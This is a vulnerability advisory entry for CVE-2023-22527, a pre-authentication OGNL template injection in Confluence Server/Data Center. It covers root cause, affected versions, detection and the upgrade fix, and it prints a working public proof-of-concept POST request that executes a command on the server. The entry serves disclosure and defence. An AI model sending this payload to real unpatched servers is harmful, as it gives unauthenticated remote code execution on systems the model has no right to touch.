Confluence text-inline.vm Template Injection
- Product
- Atlassian Confluence Server / Data Center
- CVE
- CVE-2023-22527
- Disclosed
- 2024-01-16
- CVSS
- 9.8
- Auth
- pre-auth
- CISA KEV
- yes
- Affected
- 8.0.x - 8.4.x, 8.5.0 - 8.5.3
- Fixed
- 8.5.4 (LTS), 8.6.0+ (DC), 8.7.1
Summary
Velocity template files under /template/aui/ could be requested directly, and one of them evaluated a request parameter as OGNL. Unauthenticated attackers could run commands on out-of-date Confluence 8.x; exploitation began within days of the January 2024 advisory.
Root cause
text-inline.vm passes the 'label' parameter to $stack.findValue, an OGNL sink. Although Struts' OGNL guard limits expression length, attackers chain #request['.KEY_velocity.struts2.context'].internalGet('ognl').findValue(#parameters.x,{}) to evaluate a second, unrestricted expression from another parameter.
Impact
Unauthenticated RCE on Confluence 8.0 - 8.5.3.
Public PoC
POST /template/aui/text-inline.vm HTTP/1.1
Host: target:8090
Content-Type: application/x-www-form-urlencoded
label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))Source: vulhub / confluence/CVE-2023-22527
Detection
Look for POSTs to /template/aui/text-inline.vm (or other direct .vm template requests). nuclei template CVE-2023-22527.
Mitigation
Upgrade to 8.5.4+ / latest; no workaround was offered.